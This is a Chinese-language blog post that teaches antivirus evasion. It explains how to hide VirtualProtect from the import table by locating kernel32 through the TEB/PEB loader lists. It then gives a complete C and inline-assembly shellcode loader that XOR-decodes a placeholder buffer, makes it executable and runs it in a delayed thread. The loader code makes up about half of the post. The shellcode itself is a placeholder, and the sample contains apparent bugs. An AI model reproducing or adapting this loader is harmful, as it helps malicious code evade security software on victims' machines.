0%

动态获取API

杀软有时不仅会检查内部特征,也会检查导入表中是否含有敏感函数。通常会对 PE 文件的导入表通过计算 hash 值进行对比,看有没有敏感函数,如果有会进行额外的检测。 动态获取主要是通过找到 kernerl32. dll。这样就不会再导入表出现 VirtualProtect

TEB(Thread Environment Block,线程环境块)系统在此 TEB 中保存频繁使用的线程相关的数据。位于用户地址空间,在比 PEB 所在地址低的地方。用户模式下,当前线程的 TEB 位于独立的 4KB 段 (页),可通过 CPU 的 FS 寄存器来访问该段,一般存储在[FS: 0]

PEB(Process Environment Block,进程环境块)存放进程信息,每个进程都有自己的PEB信息。位于用户地址空间。可在TEB结构地址偏移0x30处获得PEB的地址位置。

使用 windbg 查看 teb 结构 dt -rl _teb

在+0x30 处为 peb 地址 通过 fs:[0] 寄存器访问到 TEB 的地址,这里我们又知道了可以通过 TEB 结构偏移 0x30 处指向的地址是 PEB 结构地址,即 fs:[0] -> TEB -> PEB,在这一步完成 PEB 地址的定位. dt -rl _peb

在 peb 偏移 0xc 处位 ldf 结构的地址, 在 ldr 下存在三个双链表结构,这三个为模块在不同状态的顺序

https://mamor5409.github.io/posts/9aa42a48/ 参考之前写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <Windows.h>
#include <stdio.h>
HMODULE GetKernel32Addr() {
HMODULE Kernel32Base = 0;
_asm {
mov eax, fs:[0x30] //peb
mov eax, dword ptr[eax + 0xc]//_PEB_LDR_DATA
mov eax, dword ptr[eax + 0xc]//InLoadOrderModuleList
mov eax, [eax] //ntdll
mov eax, [eax] //kernel32dll
mov eax, dword ptr[eax + 0x18]
mov Kernel32Base, eax
}
return Kernel32Base;
}

void main() {

unsigned char buf[] = "异或的shellcode";
unsigned char shellcode[892]; //shellcode长度
int len = sizeof(shellcode) - 1; //从0开始算 所以-1
for (size_t i = 0; i < len; i++) //异或shellcode
{
buf[i] ^= 10;
shellcode[i] = buf[i];
}

typedef BOOL(WINAPI *pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);

DWORD oldProtect = 0;
HMODULE hKernal32 = GetKernel32Addr(); //kernal32Base

pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");//得到VirtualProtect

VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

//VirtualProtect(&shellcode, sizeof(shellcode), oldProtect, NULL);
HANDLE handle = CreateThread(0,0,shellcode, CREATE_SUSPENDED,0,0);
Sleep(15000);
ResumeThread(handle);
}

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------